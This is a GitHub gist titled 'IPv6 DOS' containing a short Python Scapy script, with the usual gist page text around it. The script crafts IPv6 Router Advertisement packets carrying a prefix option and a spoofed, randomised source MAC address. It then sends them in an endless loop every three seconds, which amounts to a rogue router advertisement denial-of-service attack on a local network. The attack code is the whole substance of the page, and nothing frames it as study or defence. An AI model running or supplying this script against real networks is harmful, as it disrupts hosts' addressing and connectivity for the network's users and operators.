Created
April 10, 2011 08:45
-
-
Save levigross/912156 to your computer and use it in GitHub Desktop.
IPv6 DOS
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
from scapy.all import sendp,Ether | |
from scapy.layers.inet6 import IPv6, ICMPv6ND_RA, ICMPv6NDOptPrefixInfo,ICMPv6NDOptSrcLLAddr | |
from random import randint | |
def randomacaddr(): | |
return ':'.join(map(lambda x: "%02x" % x, [ 0x00, 0x16, 0x3e,randint(0x00, 0x7f),randint(0x00, 0xff),randint(0x00, 0xff) ])) | |
pkt = Ether()/IPv6()/ICMPv6ND_RA()/ICMPv6NDOptPrefixInfo(prefix='2610:8:6800:1::7',prefixlen=64) \ | |
/ICMPv6NDOptSrcLLAddr(lladdr=randomacaddr()) | |
sendp(pkt,loop=1,inter=3) |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment